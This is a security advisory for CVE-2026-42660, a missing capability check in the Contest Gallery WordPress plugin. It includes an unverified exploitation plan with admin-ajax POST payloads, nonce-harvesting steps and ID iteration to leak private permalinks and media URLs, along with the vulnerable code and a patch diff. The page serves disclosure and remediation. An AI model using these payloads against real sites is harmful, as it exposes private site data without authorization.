CVE-2026-42660

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe <= 28.1.7 - Authenticated (Subscriber+) Sensitive Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
29.0.0
Patched in
6d
Time to patch

Description

The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 28.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=28.1.7
PublishedApril 29, 2026
Last updatedMay 4, 2026
Affected plugincontest-gallery

What Changed in the Fix

Changes introduced in v29.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42660 ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to version 28.1.7) is vulnerable to **Sensitive Information Exposure** via its backend AJAX handlers. Several functions registered with `wp_ajax_` hooks fail to implement capability checks (…

Show full research plan

Exploitation Research Plan - CVE-2026-42660

1. Vulnerability Summary

The Contest Gallery plugin (up to version 28.1.7) is vulnerable to Sensitive Information Exposure via its backend AJAX handlers. Several functions registered with wp_ajax_ hooks fail to implement capability checks (e.g., current_user_can('manage_options')), relying solely on a nonce check. Because WordPress allows any authenticated user (including Subscribers) to access the admin dashboard (/wp-admin/) and obtain localized nonces, a Subscriber-level attacker can invoke these functions to extract sensitive configuration data, internal page structures, and attachment URLs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: post_cg_get_current_permalinks (and potentially post_cg_create_pdf_preview_backend)
  • Vulnerable Parameter: cgRealId (used to query the contest_gal1ery table)
  • Authentication: Subscriber-level access or higher.
  • Precondition: The attacker must be logged in and obtain a valid cg_ajax_nonce.

3. Code Flow

  1. Entry Point: The action post_cg_get_current_permalinks is registered in ajax/ajax-functions-backend.php:
    add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');
    
  2. Missing Authorization: The function post_cg_get_current_permalinks() starts with:
    function post_cg_get_current_permalinks() {
        cg_check_nonce(); // Verifies nonce, but NO capability check
        global $wpdb;
        ...
    
  3. Data Extraction: The function takes $_POST['cgRealId'] and queries the primary gallery table:
    $realId = absint($_POST['cgRealId']);
    $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" );
    
  4. Exposure: It compiles various internal permalinks (Winner page, Ecommerce page, User page) associated with that gallery and echoes them back in a <script> block:
    $entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true';
    ...
    cgJsClassAdmin.gallery.vars.entryPermalinks = <?php echo json_encode($entryPermalinks); ?>;
    
  5. Sensitive Information: The exposure of the cg_gallery_ecommerce permalink with the ?test=true parameter or private gallery pages allows an attacker to discover restricted areas or bypass intended access controls for specific gallery workflows.

4. Nonce Acquisition Strategy

Backend nonces for this plugin are localized for the WordPress admin area. Even a Subscriber can access their profile in the admin area.

  1. Login: Authenticate as a Subscriber user.
  2. Navigate: Use browser_navigate to go to /wp-admin/profile.php.
  3. Extract: The plugin localizes the nonce into the global JavaScript object cgJsClassAdmin. Use browser_eval to extract it.
    • JS Variable: window.cgJsClassAdmin?.nonce or window.cg_ajax_nonce.
    • Localization Code (Inferred): The plugin typically uses wp_localize_script('cg-admin-js', 'cgJsClassAdmin', ['nonce' => wp_create_nonce('cg_ajax_nonce'), ...]);.
  4. Fallback: If the variable isn't in cgJsClassAdmin, search the page source for cg_ajax_nonce.

5. Exploitation Strategy

Step-by-Step Plan:

  1. Obtain Nonce:
    • Login as Subscriber.
    • Navigate to /wp-admin/.
    • Extract the value of the cg_ajax_nonce (action: cg_ajax_nonce).
  2. Invoke Vulnerable Action:
    • Use the http_request tool to send a POST request to /wp-admin/admin-ajax.php.
    • Set the Content-Type to application/x-www-form-urlencoded.
    • Payload:
      action=post_cg_get_current_permalinks&cgRealId=1&cg_nonce=[EXTRACTED_NONCE]
      
  3. Capture Output:
    • The response will contain a script block with cgJsClassAdmin.gallery.vars.entryPermalinks.
    • Parse this JSON to see the internal URLs.
  4. Alternative (Attachment URL Exposure):
    • Payload:
      action=post_cg_create_pdf_preview_backend&cgRealId=1&cg_wp_upload=[ID]&cg_nonce=[EXTRACTED_NONCE]
      
    • This will return the direct URL of the media attachment specified by cg_wp_upload.

6. Test Data Setup

  1. Install Plugin: Ensure contest-gallery v28.1.7 is active.
  2. Create Gallery: Use WP-CLI to ensure a gallery exists (this populates the contest_gal1ery table).
    • wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'contest_gal1ery', ['GalleryID' => 'test-1', 'WpPageEcommerce' => 999]);"
  3. Create Private Page: Create a page with ID 999 and set it to private.
  4. Create User:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password

7. Expected Results

  • The HTTP response from admin-ajax.php should return a 200 OK.
  • The body should contain:
    <script data-cg-processing-get-current-permalinks="true">
        cgJsClassAdmin.gallery.vars.entryPermalinks = {"cg_gallery_ecommerce":"http:\/\/localhost:8080\/?page_id=999?test=true"};
    </script>
    
  • This confirms that a Subscriber successfully bypassed authorization to view internal/private configuration links associated with the gallery.

8. Verification Steps

  1. Check Output: Verify the returned URL matches the ID of the page created in Step 6.
  2. Auth Bypass Confirmation: Note that the request was made using the Subscriber's cookie, but the function returned data that should be restricted to manage_options (Gallery Admin).
  3. Iterate IDs: Demonstrate that changing cgRealId allows discovery of all configured galleries and their respective pages.

9. Alternative Approaches

If post_cg_get_current_permalinks is strictly filtered or the response is empty, use post_cg_create_pdf_preview_backend.

  • This function uses wp_get_attachment_image_src on a provided cg_wp_upload ID.
  • By iterating cg_wp_upload IDs, a Subscriber can leak the full URL of every attachment in the Media Library, regardless of whether it is used in a public post or restricted gallery.
  • Request:
    POST /wp-admin/admin-ajax.php
    action=post_cg_create_pdf_preview_backend&cg_wp_upload=1&cgRealId=1&cg_nonce=[NONCE]
    
  • Expected Sink: echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end';
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contest Gallery plugin for WordPress is vulnerable to sensitive information exposure due to missing capability checks in several AJAX handlers. This allow authenticated attackers with Subscriber-level access to leak sensitive configuration data, internal permalinks, and direct media attachment URLs by providing valid nonces commonly available to logged-in users.

Vulnerable Code

// ajax/ajax-functions-backend.php line 3
add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');
if (!function_exists('post_cg_get_current_permalinks')) {
    function post_cg_get_current_permalinks() {

        cg_check_nonce(); // Verifies nonce but lacks capability check

        global $wpdb;
        $tablename = $wpdb->prefix . "contest_gal1ery";
        $realId = absint($_POST['cgRealId']);
        $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" );

        $entryPermalinks = [];
        // ... logic to populate $entryPermalinks from $realIdRow ...
        if(!empty($realIdRow->WpPageEcommerce)){
            $permalink = cg_get_guid($realIdRow->WpPageEcommerce);
            if(!empty($permalink)){
                $entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true';
            }
        }

        ?>
        <script data-cg-processing-get-current-permalinks="true">
            cgJsClassAdmin.gallery.vars.entryPermalinks = <?php echo json_encode($entryPermalinks); ?>;
        </script>
        <?php

    }
}

---

// ajax/ajax-functions-backend.php line 55
add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend');
if (!function_exists('post_cg_create_pdf_preview_backend')) {
    function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {

        cg_check_nonce();
        // ... queries to get attachment image src ...
        if(!empty($realIdRow->PdfPreview) && !empty(get_post( $realIdRow->PdfPreview )) && $WpUpload == $realIdRow->WpUpload){
            if(!$isFromFrontendUpload){
                $PdfPreviewImage = wp_get_attachment_image_src($realIdRow->PdfPreview, 'large');
                echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end';
            }
        }
    }
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.7/ajax/ajax-functions-backend.php	2026-04-06 19:43:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/29.0.0/ajax/ajax-functions-backend.php	2026-04-19 21:25:02.000000000 +0000
@@ -1,10 +1,60 @@
 <?php
+// ... (new helper functions for access control added) ...
+
 // post_cg_get_current_permalinks
 add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');
 if (!function_exists('post_cg_get_current_permalinks')) {
     function post_cg_get_current_permalinks() {
 
-        cg_check_nonce();
+        cg_require_backend_access();
 
         global $wpdb;
         $tablename = $wpdb->prefix . "contest_gal1ery";
@@ -54,10 +104,8 @@
 
 // create PDF preview
 add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend');
-if (!function_exists('post_cg_create_pdf_preview_backend')) {
-    function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {
-
-        cg_check_nonce();
+if (!function_exists('cg_create_pdf_preview_internal')) {
+    function cg_create_pdf_preview_internal($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and obtains a valid `cg_ajax_nonce` security token, which is often localized in the global JavaScript objects of the WordPress admin area (e.g., within `cgJsClassAdmin` on `profile.php`). Once the nonce is obtained, the attacker sends a POST request to `/wp-admin/admin-ajax.php`. By setting the `action` parameter to `post_cg_get_current_permalinks` and providing a target `cgRealId`, the plugin will return a JSON object containing internal and potentially private permalinks for that gallery. Alternatively, by using the `post_cg_create_pdf_preview_backend` action with a specific `cg_wp_upload` ID, the attacker can leak the full direct URL of any media attachment in the WordPress Media Library, bypassing intended access restrictions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.